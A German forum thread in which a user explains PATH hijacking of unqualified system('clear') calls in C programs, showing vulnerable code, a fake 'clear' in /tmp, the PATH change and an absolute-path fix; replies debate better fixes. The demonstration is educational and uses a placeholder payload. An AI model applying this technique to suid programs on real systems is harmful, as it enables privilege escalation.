Ergebnis 1 bis 3 von 3
  1. #1

    Standard Path Attacks [UNIX] Demonstation

    So bevor ich morgen nach Italien verschwinde, hier noch ein Paper von mir (aktuell von heute morgen *)
    Ich hoffe es ist verständlich

    http://peterlustig.pytalhost.com/stuff/path.html

    Code:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ~ PATH Attacks - the vulnerable system() instruction [UNIX]
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
       -0x0 Intro:
      Willkommen zu meiner kleinen Description über PATH Attacks.
    PATH Attacks sind eine Art Angriff auf unsichere system() Aufrufe.
    Meistens gesehen in kleinen Programmen, ja auch ich habe sie benutzt *g
    
     -0x01 Knowledge:
      Stellen wir uns mal vor, wir haben nun ein solches Programm gefunden, welches
     am Schluss des Codes immer ein system("clear") benutzt, damit die Konsole auch wieder schön sauber ist. 
     Hier mal ein kleiner Beispielsource in C:
    
       #include 
     #include 
    
       int main()
    {
    
     printf ("Firmenverwaltungssoftware 1.0\n");
    printf ("Eep, hier wird verwaltet...blub\n");
    system("clear");
    
      }
    
       ubuntu@ubuntu:~$ gcc -o prog prog.c
    ubuntu@ubuntu:~$ ./prog
    ...
    
      Man sieht hier am Ende ein System() Aufruf welcher clear aufrufen soll.
    Nur wo liegt das Problem dabei?
    Ganz einfach, wenn man mal nachdenkt woher system() weiß wo clear 
    letztendlich liegt, nämlich in /usr/bin/clear.
    system() macht nichts anderes als in den Verzeichnissen welche
    in der PATH Environment variable angegeben sind zu suchen. 
    Schauen wir uns doch einfach mal den jetzigen Inhalt von $PATH an:
    
     ubuntu@ubuntu:~$ $PATH
    bash: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:
    
     So hier sieht man, dass der System() Aufruf in:
    /usr/local/sbin:
    /usr/local/bin:
    /usr/sbin:
    /usr/bin:
    /sbin:
    /bin:
    /usr/games:
    nach "clear" sucht, und es letztendlich in usr/bin: findet.
    
    
      -0x02 Exploiting:
      Nun kommen wir zum eigentlichen Kern des Papers, wir verändern einfach
    den Inhalt und leiten den Aufruf zu unseren Gunsten um, das geht mit export:
    
      export [Var]=[Verzeichnis]
    
      Zuerst einmal erstellen wir aber ein eigenes Clear welches später anstatt
    des Unix-Clears ausgeführt werden soll, für den Anfang reicht ein normales printf in /tmp :>
    
     #include 
    #include 
    #include 
    
     int main() {
    
      printf("\n");
    printf("Your 0verl33t Shellcode");
    printf("\n");
     
    }
    
     ubuntu@ubuntu:/tmp$ gcc -o clear clear.c
    ubuntu@ubuntu:/tmp$ ./clear
    ..
    
     Klappt auch so weit ;)
      Nun kommt unser oben schon erwähntes export an die Reihe, dafür
    switchen wir wieder zu unserem "prog" ins Verzeichnis:
    
     ubuntu@ubuntu:/$ export PATH=/tmp:
    ubuntu@ubuntu:/$ $PATH
    bash: /tmp:: No such file or directory
    
     Wir merken schon, ein normales ls -l schlägt fehl..
    Wunderbar, nun sollte system() in /tmp suchen und unser clear finden:
    
     ubuntu@ubuntu:~$ ./prog
      Firmenverwaltungssoftware 1.0
    Eep, hier wird verwaltet...blub
    
     Your Shellcode   <-----
    
      Ohne Privis zu droppen führt jetzt das Programm (suid root) unser Clear aus..
    Hier nur ein printf, später vielleicht eine Shell?...
    
    
        -0x03 Secure Example
     Wir wollen aber nun unbedingt ein clear ausführen am Ende das Programms,
    welches sicher ist, dafür müssen wir nichts weiter machen als den absoluten
    Pfad anzugeben, welcher wie wir wissen /usr/bin/clear ist..
    
     #include 
    #include 
    
     int main()
    {
    
     printf (&quot;Firmenverwaltungssoftware 1.0\n&quot;);
     printf (&quot;Eep, hier wird verwaltet...blub\n&quot;);
     system(&quot;/usr/bin/clear&quot;);
    
       }
    
      ubuntu@ubuntu:~$ gcc -o prog prog.c
      ubuntu@ubuntu:~$ export PATH=/tmp:
     ubuntu@ubuntu:~$ ./prog
       *funktioniert..
    
    
        -0x04 Complete
      So ich hoffe als kleine Erklärung hat das gereicht, ihr könnt ja selbst mal
    was nettes basteln wie eine Remote Shell oder was auch immer....
    
      fred777
    
    Geändert von fred777 (07.08.2009 um 17:29 Uhr)
    _n0p3_

  2. #2
    Stiller Leser
    Registriert seit
    03.10.2007
    Beiträge
    67

    Standard

    Deine "Lösung" ist keine Lösung.
    Auf den system() Befehl sollte man wenn möglich _immer_ verzichten.

    Die "saubere" Alternative:
    Code:
    #ifdef __unix__
    #define clrscr() printf("\x1B[2J")
    
    #elif __WIN32__ || _MSC_VER
    #define clrscr() system("cls")
    
    #else
    #define clrscr() printf("clrscr() Error\n")
    
    #endif

  3. #3

    Standard

    Es ist auch so, dass man diese Art von Bugs nicht oft finden wird und man kann die PATH Variable eines anderen User auch nicht so einfach ändern. es ist auch kein richtiges Tutorial, ich wollte damit nur erklären was der system() Befehl anrichten könnte wenn man ihn verwendet, z.B. bei Wargames. Desweiteren habe ich nur erklärt wie man system() trotzdem benutzen kann ohne Environment Variable, natürlich gibt es hunderte sicherere Varianten das zu coden.
    Das mal dazu
    Geändert von fred777 (07.08.2009 um 20:45 Uhr)
    _n0p3_

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •